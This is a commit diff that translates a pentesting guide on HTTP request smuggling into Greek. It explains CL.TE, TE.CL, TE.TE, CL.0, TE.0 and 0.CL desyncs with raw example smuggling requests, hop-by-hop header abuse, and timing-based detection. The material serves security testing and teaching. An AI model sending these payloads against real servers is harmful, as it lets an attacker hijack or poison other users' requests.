Translated ['src/pentesting-web/http-request-smuggling/README.md'] to el

This commit is contained in:
Translator 2025-09-05 11:39:17 +00:00
parent c763bcd2a2
commit 51da5e7f18

View File

@ -5,8 +5,8 @@
## Τι είναι
Αυτή η ευπάθεια εμφανίζεται όταν ένας **αποσυγχρονισμός** μεταξύ των **front-end proxies** και του **back-end** server επιτρέπει σε έναν **attacker** να **στείλει** ένα HTTP **request** που θα **ερμηνευτεί** ως **ένα request** από τους **front-end proxies** (load balance/reverse-proxy) και **ως 2 request** από τον **back-end** server.\
Αυτό επιτρέπει σε έναν χρήστη να **τροποποιήσει το επόμενο request που φτάνει στον back-end server μετά από το δικό του**.
Αυτή η ευπάθεια προκύπτει όταν ένας αποσυγχρονισμός (desync) μεταξύ των front-end proxies και του back-end server επιτρέπει σε έναν attacker να στείλει ένα HTTP request που θα ερμηνευθεί ως ένα ενιαίο request από τους front-end proxies (load balance/reverse-proxy) και ως 2 requests από τον back-end server.\
Αυτό επιτρέπει σε έναν χρήστη να τροποποιήσει το επόμενο request που θα φτάσει στον back-end server μετά από το δικό του.
### Θεωρία
@ -16,67 +16,67 @@
**Content-Length**
> Η επικεφαλίδα Content-Length υποδεικνύει το μέγεθος του entity-body, σε bytes, που αποστέλλεται στον παραλήπτη.
> The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
**Transfer-Encoding: chunked**
> Η επικεφαλίδα Transfer-Encoding καθορίζει τη μορφή κωδικοποίησης που χρησιμοποιείται για την ασφαλή μεταφορά του payload body στον χρήστη.\
> Το chunked σημαίνει ότι μεγάλα δεδομένα αποστέλλονται σε μια σειρά από chunks.
> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
> Chunked means that large data is sent in a series of chunks
### Πραγματικότητα
Το **Front-End** (load-balancer / Reverse Proxy) **επεξεργάζεται** είτε την επικεφαλίδα _**Content-Length**_ είτε την _**Transfer-Encoding**_, και ο **Back-end** server **επεξεργάζεται την άλλη**, προκαλώντας έναν **αποσυγχρονισμό** μεταξύ των δύο συστημάτων.\
Αυτό μπορεί να είναι πολύ κρίσιμο αφού **ένας attacker θα μπορεί να στείλει ένα request** στο reverse proxy που ο **back-end** server θα **ερμηνεύσει** **ως 2 διαφορετικά requests**. Ο **κίνδυνος** αυτής της τεχνικής έγκειται στο ότι ο **back-end** server **θα ερμηνεύσει** το **2ο injected request** σαν να **ήρθε από τον επόμενο client**, και το **πραγματικό request** αυτού του client θα γίνει **μέρος** του **injected request**.
Το Front-End (a load-balance / Reverse Proxy) επεξεργάζεται το header _Content-Length_ ή το header _Transfer-Encoding_ και ο Back-end server επεξεργάζεται το άλλο, προκαλώντας έναν αποσυγχρονισμό ανάμεσα στα δύο συστήματα.\
Αυτό μπορεί να είναι πολύ επικίνδυνο καθώς ένας attacker θα μπορεί να στείλει ένα request στο reverse proxy που θα ερμηνευθεί από τον back-end server ως 2 διαφορετικά requests. Ο κίνδυνος αυτής της τεχνικής έγκειται στο ότι ο back-end server θα ερμηνεύσει το δεύτερο injected request σαν να προήλθε από τον επόμενο client, και το πραγματικό request αυτού του client θα γίνει μέρος του injected request.
### Ιδιαιτερότητες
Θυμηθείτε ότι στο HTTP **ένα νέο χαρακτήρα γραμμής αποτελείται από 2 bytes**:
Θυμηθείτε ότι στο HTTP ένας χαρακτήρας νέας γραμμής αποτελείται από 2 bytes:
- **Content-Length**: Αυτή η επικεφαλίδα χρησιμοποιεί έναν **δεκαδικό αριθμό** για να υποδείξει τον **αριθμό** των **bytes** του **body** του request. Το body αναμένεται να τελειώνει στον τελευταίο χαρακτήρα — **δεν απαιτείται νέα γραμμή στο τέλος του request**.
- **Transfer-Encoding:** Αυτή η επικεφαλίδα χρησιμοποιεί στο **body** έναν **εξαδικό αριθμό** για να υποδείξει τον **αριθμό** των **bytes** του **επόμενου chunk**. Το **chunk** πρέπει να **τελειώνει** με **νέα γραμμή**, αλλά αυτή η νέα γραμμή **δεν περιλαμβάνεται** από τον δείκτη μήκους. Αυτή η μέθοδος μεταφοράς πρέπει να τελειώνει με **chunk μεγέθους 0 ακολουθούμενο από 2 νέες γραμμές**: `0`
- **Connection**: Από την εμπειρία μου συνιστάται να χρησιμοποιείτε **`Connection: keep-alive`** στο πρώτο request του request Smuggling.
- **Content-Length**: Αυτό το header χρησιμοποιεί έναν δεκαδικό αριθμό για να υποδείξει τον αριθμό των bytes του body του request. Το body αναμένεται να τελειώσει στον τελευταίο χαρακτήρα — δεν απαιτείται νέα γραμμή στο τέλος του request.
- **Transfer-Encoding:** Αυτό το header χρησιμοποιεί στο body έναν δεκαεξαδικό αριθμό για να υποδείξει τον αριθμό των bytes του επόμενου chunk. Το chunk πρέπει να τελειώνει με νέα γραμμή αλλά αυτή η νέα γραμμή δεν μετράει στον δείκτη μήκους. Αυτή η μέθοδος μεταφοράς πρέπει να τελειώνει με ένα chunk μεγέθους 0 ακολουθούμενο από 2 new lines: `0`
- **Connection**: Βάσει της εμπειρίας μου συνιστάται να χρησιμοποιείτε **`Connection: keep-alive`** στο πρώτο request του Request Smuggling.
### Ορατό - Κρυφό
### Visible - Hidden
Το κύριο πρόβλημα με το HTTP/1.1 είναι ότι όλα τα requests πηγαίνουν στο ίδιο TCP socket, οπότε αν βρεθεί μια διαφορά ανάμεσα σε 2 συστήματα που λαμβάνουν requests, είναι δυνατόν να σταλεί ένα request που θα θεωρηθεί ως 2 διαφορετικά requests (ή περισσότερα) από τον τελικό backend (ή ακόμα και ενδιάμεσα συστήματα).
Το κύριο πρόβλημα με το http/1.1 είναι ότι όλα τα requests πηγαίνουν στο ίδιο TCP socket, οπότε αν υπάρχει ασυμφωνία μεταξύ δύο συστημάτων που δέχονται requests, είναι δυνατό να σταλεί ένα request που θα θεωρηθεί ως 2 διαφορετικά requests (ή περισσότερα) από τον τελικό backend (ή ακόμα και από ενδιάμεσα συστήματα).
[Αυτό το blog post](https://portswigger.net/research/http1-must-die) προτείνει νέους τρόπους για να ανιχνευθούν desync attacks σε ένα σύστημα που δεν θα σηματοδοτηθούν από WAFs. Για αυτό παρουσιάζει τις συμπεριφορές Visible vs Hidden. Ο στόχος σε αυτή την περίπτωση είναι να επιχειρήσουμε να βρούμε ασυνέπειες στην απάντηση χρησιμοποιώντας τεχνικές που θα μπορούσαν να προκαλούν desyncs χωρίς να εκμεταλλευόμαστε πραγματικά κάτι.
**[This blog post](https://portswigger.net/research/http1-must-die)** προτείνει νέους τρόπους για να ανιχνευθούν desync attacks σε ένα σύστημα που δεν θα σηματοδοτηθούν από WAFs. Γι' αυτό παρουσιάζει τις συμπεριφορές Visible vs Hidden. Ο στόχος σε αυτή την περίπτωση είναι να προσπαθήσουμε να βρούμε διαφορές στην απόκριση χρησιμοποιώντας τεχνικές που θα μπορούσαν να προκαλούν desyncs χωρίς στην πραγματικότητα να εκμεταλλευόμαστε κάτι.
Για παράδειγμα, στέλνοντας ένα request με το κανονικό Host header και ένα " host" header, αν ο backend παραπονιέται για αυτό το request (ίσως επειδή η τιμή του " host" είναι λανθασμένη) αυτό πιθανώς σημαίνει ότι το front-end δεν είδε το " host" header ενώ ο τελικός backend το χρησιμοποίησε — κάτι που πιθανόν υποδηλώνει έναν αποσυγχρονισμό μεταξύ front-end και backend.
Για παράδειγμα, στέλνοντας ένα request με το κανονικό Host header και ένα " host" header (με leading space), αν ο backend παραπονιέται γι' αυτό το request (ίσως επειδή η τιμή του " host" είναι εσφαλμένη) αυτό πιθανώς σημαίνει ότι το front-end δεν είδε το " host" header ενώ ο τελικός backend το χρησιμοποίησε — γεγονός που υποδεικνύει αποσυγχρονισμό μεταξύ front-end και backend.
Αυτό θα ήταν μια **Κρυφό-Ορατό (Hidden-Visible) ανισορροπία**.
Αυτό θα ήταν μια Hidden-Visible discrepancy.
Αν το front-end είχε λάβει υπόψη το " host" header αλλά ο front-end δεν το έκανε, αυτό θα μπορούσε να είναι μια **Ορατό-Κρυφό (Visible-Hidden)** κατάσταση.
Αν το front-end είχε λάβει υπόψη το " host" header αλλά ο front-end δεν το έκανε, αυτό θα μπορούσε να είναι μια Visible-Hidden κατάσταση.
Για παράδειγμα, αυτό επέτρεψε την ανακάλυψη desyncs μεταξύ AWS ALB ως front-end και IIS ως backend. Αυτό έγινε επειδή όταν στάλθηκε το "Host: foo/bar", το ALB επέστρεψε `400, Server; awselb/2.0`, αλλά όταν στάλθηκε το "Host : foo/bar" επέστρεψε `400, Server: Microsoft-HTTPAPI/2.0`, υποδεικνύοντας ότι ο backend έστελνε την απάντηση. Αυτό είναι μια Κρυφό-Ορατό (H-V) κατάσταση.
Για παράδειγμα, αυτό επέτρεψε την ανακάλυψη desyncs μεταξύ AWS ALB ως front-end και IIS ως backend. Αυτό συνέβη επειδή όταν στάλθηκε "Host: foo/bar", το ALB επέστρεψε `400, Server; awselb/2.0`, αλλά όταν στάλθηκε "Host : foo/bar", επέστρεψε `400, Server: Microsoft-HTTPAPI/2.0`, υποδεικνύοντας ότι ο backend έστελνε την απόκριση. Αυτή είναι μια Hidden-Visible (H-V) κατάσταση.
Σημειώστε ότι αυτή η κατάσταση δεν έχει διορθωθεί στην AWS, αλλά μπορεί να προληφθεί ρυθμίζοντας `routing.http.drop_invalid_header_fields.enabled` και `routing.http.desync_mitigation_mode = strictest`.
## Basic Examples
## Βασικά Παραδείγματα
> [!TIP]
> Όταν προσπαθείτε να το εκμεταλλευτείτε με το Burp Suite **απενεργοποιήστε το `Update Content-Length` και το `Normalize HTTP/1 line endings`** στο repeater γιατί κάποια gadgets εκμεταλλεύονται newlines, carriage returns και malformed content-lengths.
> Όταν προσπαθείτε να το εκμεταλλευτείτε με Burp Suite **απενεργοποιήστε τα `Update Content-Length` και `Normalize HTTP/1 line endings`** στον repeater επειδή κάποια gadgets εκμεταλλεύονται newlines, carriage returns και malformed content-lengths.
Τα HTTP request smuggling attacks κατασκευάζονται στέλνοντας αμφίβολα requests που εκμεταλλεύονται διαφορές στον τρόπο που τα front-end και back-end servers ερμηνεύουν τις επικεφαλίδες `Content-Length` (CL) και `Transfer-Encoding` (TE). Αυτές οι επιθέσεις μπορούν να εμφανιστούν σε διάφορες μορφές, κυρίως ως **CL.TE**, **TE.CL**, και **TE.TE**. Κάθε τύπος αντιπροσωπεύει έναν μοναδικό συνδυασμό του πώς οι front-end και back-end servers προτεραιοποιούν αυτές τις επικεφαλίδες. Οι ευπάθειες προκύπτουν από το γεγονός ότι οι servers επεξεργάζονται το ίδιο request με διαφορετικό τρόπο, οδηγώντας σε απροσδόκητα και ενδεχομένως κακόβουλα αποτελέσματα.
Οι επιθέσεις HTTP request smuggling κατασκευάζονται στέλνοντας αμφίσημα requests που εκμεταλλεύονται διαφορές στον τρόπο που τα front-end και back-end servers ερμηνεύουν τα headers `Content-Length` (CL) και `Transfer-Encoding` (TE). Αυτές οι επιθέσεις μπορούν να εμφανιστούν σε διαφορετικές μορφές, κυρίως ως **CL.TE**, **TE.CL**, και **TE.TE**. Κάθε τύπος αντιπροσωπεύει έναν μοναδικό συνδυασμό του πώς τα front-end και back-end servers προτεραιοποιούν αυτά τα headers. Οι ευπάθειες προκύπτουν από το ότι οι servers επεξεργάζονται το ίδιο request με διαφορετικούς τρόπους, οδηγώντας σε απρόβλεπτα και ενδεχομένως κακόβουλα αποτελέσματα.
### Βασικά Παραδείγματα Τύπων Ευπάθειας
![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
> [!TIP]
> Στον προηγούμενο πίνακα θα πρέπει να προσθέσετε την τεχνική TE.0, όπως την τεχνική CL.0 αλλά χρησιμοποιώντας Transfer-Encoding.
> Στον παραπάνω πίνακα θα πρέπει να προσθέσετε την τεχνική TE.0, όπως την τεχνική CL.0 αλλά χρησιμοποιώντας Transfer-Encoding.
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
- **Front-End (CL):** Επεξεργάζεται το request βάσει της επικεφαλίδας `Content-Length`.
- **Back-End (TE):** Επεξεργάζεται το request βάσει της επικεφαλίδας `Transfer-Encoding`.
- **Σενάριο επίθεσης:**
- **Front-End (CL):** Processes the request based on the `Content-Length` header.
- **Back-End (TE):** Processes the request based on the `Transfer-Encoding` header.
- **Attack Scenario:**
- Ο attacker στέλνει ένα request όπου η τιμή της επικεφαλίδας `Content-Length` δεν ταιριάζει με το πραγματικό μήκος του περιεχομένου.
- Ο front-end server προωθεί ολόκληρο το request στον back-end, βάσει της τιμής του `Content-Length`.
- Ο back-end server επεξεργάζεται το request ως chunked λόγω της επικεφαλίδας `Transfer-Encoding: chunked`, ερμηνεύοντας τα υπόλοιπα δεδομένα ως ένα ξεχωριστό, επακόλουθο request.
- **Παράδειγμα:**
- The attacker sends a request where the `Content-Length` header's value does not match the actual content length.
- The front-end server forwards the entire request to the back-end, based on the `Content-Length` value.
- The back-end server processes the request as chunked due to the `Transfer-Encoding: chunked` header, interpreting the remaining data as a separate, subsequent request.
- **Example:**
```
POST / HTTP/1.1
@ -93,14 +93,14 @@ Foo: x
#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
- **Front-End (TE):** Επεξεργάζεται το request βάσει της επικεφαλίδας `Transfer-Encoding`.
- **Back-End (CL):** Επεξεργάζεται το request βάσει της επικεφαλίδας `Content-Length`.
- **Σενάριο επίθεσης:**
- **Front-End (TE):** Processes the request based on the `Transfer-Encoding` header.
- **Back-End (CL):** Processes the request based on the `Content-Length` header.
- **Attack Scenario:**
- Ο attacker στέλνει ένα chunked request όπου το μέγεθος του chunk (`7b`) και το πραγματικό μήκος περιεχομένου (`Content-Length: 4`) δεν ευθυγραμμίζονται.
- Ο front-end server, σεβόμενος το `Transfer-Encoding`, προωθεί ολόκληρο το request στον back-end.
- Ο back-end server, σεβόμενος το `Content-Length`, επεξεργάζεται μόνο το αρχικό μέρος του request (`7b` bytes), αφήνοντας τα υπόλοιπα ως μέρος ενός ανεπιθύμητου επακόλουθου request.
- **Παράδειγμα:**
- The attacker sends a chunked request where the chunk size (`7b`) and actual content length (`Content-Length: 4`) do not align.
- The front-end server, honoring `Transfer-Encoding`, forwards the entire request to the back-end.
- The back-end server, respecting `Content-Length`, processes only the initial part of the request (`7b` bytes), leaving the rest as part of an unintended subsequent request.
- **Example:**
```
POST / HTTP/1.1
@ -122,13 +122,13 @@ x=
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
- **Servers:** Και οι δύο υποστηρίζουν `Transfer-Encoding`, αλλά ο ένας μπορεί να παραπλανηθεί ώστε να το αγνοήσει μέσω απο-διομπλοκάρισματος/απο-σαμποταρίσματος.
- **Σενάριο επίθεσης:**
- **Servers:** Both support `Transfer-Encoding`, but one can be tricked into ignoring it via obfuscation.
- **Attack Scenario:**
- Ο attacker στέλνει ένα request με αποπροσανατολισμένες/obfuscated επικεφαλίδες `Transfer-Encoding`.
- Ανάλογα με το ποιος server (front-end ή back-end) αποτύχει να αναγνωρίσει την αποπροσανατολισμένη επικεφαλίδα, μπορεί να εκμεταλλευτείται μια ευπάθεια CL.TE ή TE.CL.
- Το μη επεξεργασμένο μέρος του request, όπως το βλέπει ένας από τους servers, γίνεται μέρος ενός επακόλουθου request, οδηγώντας σε smuggling.
- **Παράδειγμα:**
- The attacker sends a request with obfuscated `Transfer-Encoding` headers.
- Depending on which server (front-end or back-end) fails to recognize the obfuscation, a CL.TE or TE.CL vulnerability may be exploited.
- The unprocessed part of the request, as seen by one of the servers, becomes part of a subsequent request, leading to smuggling.
- **Example:**
```
POST / HTTP/1.1
@ -149,9 +149,9 @@ Transfer-Encoding
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
- Και οι δύο servers επεξεργάζονται το request αποκλειστικά βάσει της επικεφαλίδας `Content-Length`.
- Αυτό το σενάριο συνήθως δεν οδηγεί σε smuggling, καθώς υπάρχει ευθυγράμμιση στον τρόπο που και οι δύο servers ερμηνεύουν το μήκος του request.
- **Παράδειγμα:**
- Both servers process the request based solely on the `Content-Length` header.
- This scenario typically does not lead to smuggling, as there's alignment in how both servers interpret the request length.
- **Example:**
```
POST / HTTP/1.1
@ -164,9 +164,9 @@ Normal Request
#### **CL.0 Scenario**
- Αφορά σενάρια όπου η επικεφαλίδα `Content-Length` υπάρχει και έχει τιμή διαφορετική του μηδενός, υποδεικνύοντας ότι το request body έχει περιεχόμενο. Ο back-end αγνοεί την επικεφαλίδα `Content-Length` (την αντιμετωπίζει ως 0), αλλά το front-end την αναλύει.
- Είναι κρίσιμο για την κατανόηση και κατασκευή smuggling επιθέσεων, καθώς επηρεάζει το πώς οι servers καθορίζουν το τέλος ενός request.
- **Παράδειγμα:**
- Refers to scenarios where the `Content-Length` header is present and has a value other than zero, indicating that the request body has content. The back-end ignores the `Content-Length` header (which is treated as 0), but the front-end parses it.
- It's crucial in understanding and crafting smuggling attacks, as it influences how servers determine the end of a request.
- **Example:**
```
POST / HTTP/1.1
@ -179,9 +179,9 @@ Non-Empty Body
#### TE.0 Scenario
- Όπως το προηγούμενο αλλά χρησιμοποιώντας TE.
- Τεχνική [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Παράδειγμα**:
- Like the previous one but using TE
- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Example**:
```
OPTIONS / HTTP/1.1
Host: {HOST}
@ -201,7 +201,7 @@ EMPTY_LINE_HERE
```
#### `0.CL` Σενάριο
Σε ένα `0.CL` σενάριο, ένα request αποστέλλεται με Content-Length όπως:
Σε ένα σενάριο `0.CL`, ένα request αποστέλλεται με Content-Length ως εξής:
```
GET /Logon HTTP/1.1
Host: <redacted>
@ -211,46 +211,46 @@ Content-Length:
GET /404 HTTP/1.1
X: Y
```
Και το front-end δεν λαμβάνει υπόψη το `Content-Length`, οπότε στέλνει μόνο το πρώτο request στο backend (μέχρι το 7 στο παράδειγμα). Ωστόσο, το backend βλέπει το `Content-Length` και περιμένει για ένα body που ποτέ δεν φτάνει γιατί το front-end ήδη περιμένει την response.
Και το front-end δεν λαμβάνει υπόψη το `Content-Length`, οπότε στέλνει μόνο το πρώτο request στο backend (μέχρι το 7 στο παράδειγμα). Ωστόσο, το backend βλέπει το `Content-Length` και περιμένει για ένα body που ποτέ δεν φτάνει, επειδή το front-end ήδη περιμένει την απόκριση.
Ωστόσο, αν υπάρχει ένα request που μπορεί να σταλεί στο backend και στο οποίο απαντάνε πριν ληφθεί το body του request, αυτό το deadlock δεν θα συμβεί. Σε IIS για παράδειγμα αυτό συμβαίνει στέλνοντας requests σε απαγορευμένες λέξεις όπως `/con` (check the [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), με αυτόν τον τρόπο, το αρχικό request θα απαντηθεί άμεσα και το δεύτερο request θα περιέχει το request του victim όπως:
Ωστόσο, αν υπάρχει κάποιο request που μπορεί να σταλεί στο backend και λαμβάνει απάντηση πριν φτάσει το body του request, αυτό το deadlock δεν θα συμβεί. Στο IIS για παράδειγμα αυτό συμβαίνει όταν στέλνονται requests σε forbidden words όπως `/con` (check the [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), με αυτόν τον τρόπο, το αρχικό request θα απαντηθεί απευθείας και το δεύτερο request θα περιέχει το request του θύματος όπως:
```
GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>
```
Αυτό είναι χρήσιμο για να προκαλέσει μια desync, αλλά μέχρι τώρα δεν έχει κανένα αντίκτυπο.
Αυτό είναι χρήσιμο για να προκαλέσει ένα desync, αλλά μέχρι τώρα δεν θα είχε κανένα αντίκτυπο.
Ωστόσο, το post προσφέρει μια λύση γι' αυτό μετατρέποντας ένα **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.
Ωστόσο, το άρθρο προσφέρει μια λύση σε αυτό με τη μετατροπή ενός **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.
#### Σπάσιμο του web server
Αυτή η τεχνική είναι επίσης χρήσιμη σε σενάρια όπου είναι δυνατό να προκαλέσετε σφάλμα στον web server κατά την ανάγνωση των αρχικών δεδομένων HTTP αλλά χωρίς να κλείσετε τη σύνδεση. Με αυτόν τον τρόπο, το **body** του HTTP request θα θεωρηθεί το **next HTTP request**.
Αυτή η τεχνική είναι επίσης χρήσιμη σε σενάρια όπου είναι δυνατό να προκαλέσετε σφάλμα στον web server **κατά την ανάγνωση των αρχικών δεδομένων HTTP** αλλά **χωρίς να κλείσετε τη σύνδεση**. Με αυτόν τον τρόπο, το **body** του HTTP request θα θεωρηθεί ως το **next HTTP request**.
Για παράδειγμα, όπως εξηγείται στο [**this writeup**](https://mizu.re/post/twisty-python), στο Werkzeug ήταν δυνατό να σταλούν μερικοί χαρακτήρες **Unicode** και αυτό θα έκανε τον server να **σπάσει**. Ωστόσο, αν η HTTP σύνδεση δημιουργήθηκε με το header **`Connection: keep-alive`**, το body του request δεν θα διαβαστεί και η σύνδεση θα παραμείνει ανοιχτή, οπότε το **body** του request θα θεωρηθεί ως το **next HTTP request**.
Για παράδειγμα, όπως εξηγείται στο [**this writeup**](https://mizu.re/post/twisty-python), στο Werkzeug ήταν δυνατό να σταλούν κάποιοι χαρακτήρες **Unicode** και αυτό θα έκανε τον server να **σπάσει**. Ωστόσο, αν η HTTP σύνδεση δημιουργήθηκε με την κεφαλίδα **`Connection: keep-alive`**, το **body** του request δεν θα διαβαστεί και η σύνδεση θα παραμείνει ανοιχτή, οπότε το **body** του request θα αντιμετωπιστεί ως το **next HTTP request**.
#### Εξαναγκασμός μέσω hop-by-hop headers
Καταχρώμενοι τα hop-by-hop headers μπορείτε να υποδείξετε στον proxy να **διαγράψει το header Content-Length ή Transfer-Encoding ώστε να είναι δυνατή η εκμετάλλευση μέσω HTTP request smuggling**.
Καταχρώμενοι τα hop-by-hop headers μπορείτε να υποδείξετε στον proxy να **διαγράψει την κεφαλίδα Content-Length ή Transfer-Encoding, ώστε να είναι δυνατή η εκμετάλλευση μέσω HTTP request smuggling**.
```
Connection: Content-Length
```
For **περισσότερες πληροφορίες σχετικά με hop-by-hop headers** visit:
Για **περισσότερες πληροφορίες σχετικά με τα hop-by-hop headers** επισκεφθείτε:
{{#ref}}
../abusing-hop-by-hop-headers.md
{{#endref}}
## Finding HTTP Request Smuggling
## Εντοπισμός HTTP Request Smuggling
Ο εντοπισμός των ευπαθειών HTTP request smuggling μπορεί συχνά να επιτευχθεί χρησιμοποιώντας τεχνικές χρονισμού (timing techniques), οι οποίες βασίζονται στην παρατήρηση του πόσος χρόνος απαιτείται για να απαντήσει ο server σε χειραγωγημένα αιτήματα. Αυτές οι τεχνικές είναι ιδιαίτερα χρήσιμες για τον εντοπισμό των CL.TE και TE.CL ευπαθειών. Εκτός από αυτές τις μεθόδους, υπάρχουν και άλλες στρατηγικές και εργαλεία που μπορούν να χρησιμοποιηθούν για να βρεθούν τέτοιες ευπάθειες:
Ο εντοπισμός ευπαθειών HTTP request smuggling μπορεί συχνά να επιτευχθεί με τεχνικές χρονομέτρησης, οι οποίες βασίζονται στην παρατήρηση του χρόνου που χρειάζεται ο server για να απαντήσει σε χειραγωγημένα αιτήματα. Αυτές οι τεχνικές είναι ιδιαίτερα χρήσιμες για την ανίχνευση ευπαθειών CL.TE και TE.CL. Εκτός από αυτές τις μεθόδους, υπάρχουν και άλλες στρατηγικές και εργαλεία που μπορούν να χρησιμοποιηθούν για την εύρεση τέτοιων ευπαθειών:
### Εντοπισμός ευπαθειών CL.TE με τεχνικές χρονισμού
### Εντοπισμός ευπαθειών CL.TE με τεχνικές χρονομέτρησης
- **Μέθοδος:**
- Στείλτε ένα αίτημα που, εάν η εφαρμογή είναι ευάλωτη, θα κάνει τον back-end server να περιμένει επιπλέον δεδομένα.
- Στείλτε ένα αίτημα που, εάν η εφαρμογή είναι ευάλωτη, θα προκαλέσει στον back-end server να περιμένει επιπλέον δεδομένα.
- **Παράδειγμα:**
```
@ -267,17 +267,17 @@ A
- **Παρατήρηση:**
- Ο front-end server επεξεργάζεται το αίτημα βάσει του `Content-Length` και κόβει το μήνυμα πρόωρα.
- Ο back-end server, περιμένοντας ένα chunked μήνυμα, αναμένει το επόμενο chunk που δεν φτάνει ποτέ, προκαλώντας καθυστέρηση.
- Ο back-end server, περιμένοντας ένα chunked μήνυμα, περιμένει το επόμενο chunk που δεν φτάνει ποτέ, προκαλώντας καθυστέρηση.
- **Δείκτες:**
- Χρονικά όρια ή μεγάλες καθυστερήσεις στην απόκριση.
- Λήψη σφάλματος 400 Bad Request από τον back-end server, μερικές φορές με λεπτομερείς πληροφορίες διακομιστή.
- Timeouts ή μεγάλες καθυστερήσεις στην απόκριση.
- Λήψη σφάλματος 400 Bad Request από τον back-end server, μερικές φορές με λεπτομερείς πληροφορίες server.
### Εντοπισμός ευπαθειών TE.CL με τεχνικές χρονισμού
### Εντοπισμός ευπαθειών TE.CL με τεχνικές χρονομέτρησης
- **Μέθοδος:**
- Στείλτε ένα αίτημα που, εάν η εφαρμογή είναι ευάλωτη, θα κάνει τον back-end server να περιμένει επιπλέον δεδομένα.
- Στείλτε ένα αίτημα που, εάν η εφαρμογή είναι ευάλωτη, θα προκαλέσει στον back-end server να περιμένει επιπλέον δεδομένα.
- **Παράδειγμα:**
```
@ -293,22 +293,22 @@ X
- **Παρατήρηση:**
- Ο front-end server επεξεργάζεται το αίτημα βάσει του `Transfer-Encoding` και προωθεί ολόκληρο το μήνυμα.
- Ο back-end server, περιμένοντας ένα μήνυμα βάσει του `Content-Length`, αναμένει επιπλέον δεδομένα που δεν φτάνουν ποτέ, προκαλώντας καθυστέρηση.
- Ο back-end server, περιμένοντας ένα μήνυμα βάσει του `Content-Length`, περιμένει επιπλέον δεδομένα που δεν φτάνουν ποτέ, προκαλώντας καθυστέρηση.
### Άλλες μέθοδοι για τον εντοπισμό ευπαθειών
### Άλλες μέθοδοι για την εύρεση ευπαθειών
- **Ανάλυση διαφορών στην απόκριση:**
- Στείλτε ελαφρώς διαφορετικές εκδοχές ενός αιτήματος και παρατηρήστε αν οι αποκρίσεις του server διαφέρουν με μη αναμενόμενο τρόπο, υποδεικνύοντας ασυμφωνία στην ανάλυση (parsing).
- **Διαφορική Ανάλυση Απαντήσεων:**
- Στείλτε ελαφρώς διαφοροποιημένες εκδόσεις ενός αιτήματος και παρατηρήστε αν οι απαντήσεις του server διαφέρουν με απρόβλεπτο τρόπο, υποδεικνύοντας απόκλιση στην ανάλυση.
- **Χρήση αυτοματοποιημένων εργαλείων:**
- Εργαλεία όπως το extension 'HTTP Request Smuggler' του Burp Suite μπορούν να ελέγξουν αυτόματα για αυτές τις ευπάθειες στέλνοντας διάφορες μορφές αμφίβολων αιτημάτων και αναλύοντας τις αποκρίσεις.
- **Δοκιμές διακύμανσης Content-Length:**
- Στείλτε αιτήματα με μεταβαλλόμενες τιμές `Content-Length` που δεν ευθυγραμμίζονται με το πραγματικό μήκος περιεχομένου και παρατηρήστε πώς ο server χειρίζεται αυτές τις ασυμφωνίες.
- **Δοκιμές διακύμανσης Transfer-Encoding:**
- Στείλτε αιτήματα με ασαφείς ή κατεστραμμένες κεφαλίδες `Transfer-Encoding` και παρακολουθήστε πώς οι front-end και back-end servers ανταποκρίνονται διαφορετικά σε τέτοιες χειραγωγήσεις.
- Εργαλεία όπως το Burp Suite's 'HTTP Request Smuggler' extension μπορούν να δοκιμάσουν αυτόματα για αυτές τις ευπάθειες, αποστέλλοντας διάφορες μορφές ασαφών αιτημάτων και αναλύοντας τις απαντήσεις.
- **Δοκιμές μεταβλητότητας Content-Length:**
- Στείλτε αιτήματα με διαφορετικές τιμές του `Content-Length` που δεν συμφωνούν με το πραγματικό μήκος περιεχομένου και παρατηρήστε πώς ο server διαχειρίζεται τέτοιες ασυμφωνίες.
- **Δοκιμές μεταβλητότητας Transfer-Encoding:**
- Στείλτε αιτήματα με αποκρυπτογραφημένες ή κακομορφωμένες κεφαλίδες `Transfer-Encoding` και παρακολουθήστε πώς αντιδρούν διαφορετικά ο front-end και ο back-end server σε τέτοιες χειραγωγήσεις.
### Η κεφαλίδα `Expect: 100-continue`
### The `Expect: 100-continue` header
Ελέγξτε πώς αυτή η κεφαλίδα μπορεί να βοηθήσει στην εκμετάλλευση ενός http desync σε:
Ελέγξτε πώς αυτή η κεφαλίδα μπορεί να βοηθήσει στην εκμετάλλευση ενός http desync στο:
{{#ref}}
../../network-services-pentesting/pentesting-web/special-http-headers.md
@ -316,25 +316,25 @@ X
### HTTP Request Smuggling Vulnerability Testing
Αφού επιβεβαιώσετε την αποτελεσματικότητα των τεχνικών χρονισμού, είναι κρίσιμο να επαληθεύσετε αν τα αιτήματα των clients μπορούν να χειραγωγηθούν. Μια απλή μέθοδος είναι να επιχειρήσετε να δηλητηριάσετε (poison) τα αιτήματά σας, για παράδειγμα κάνοντας ένα αίτημα προς `/` να επιστρέψει 404. Τα παραδείγματα `CL.TE` και `TE.CL` που αναφέρθηκαν προηγουμένως στο [Basic Examples](#basic-examples) δείχνουν πώς να δηλητηριάσετε το αίτημα ενός client για να προκαλέσετε μια απόκριση 404, παρότι ο client στοχεύει σε διαφορετικό πόρο.
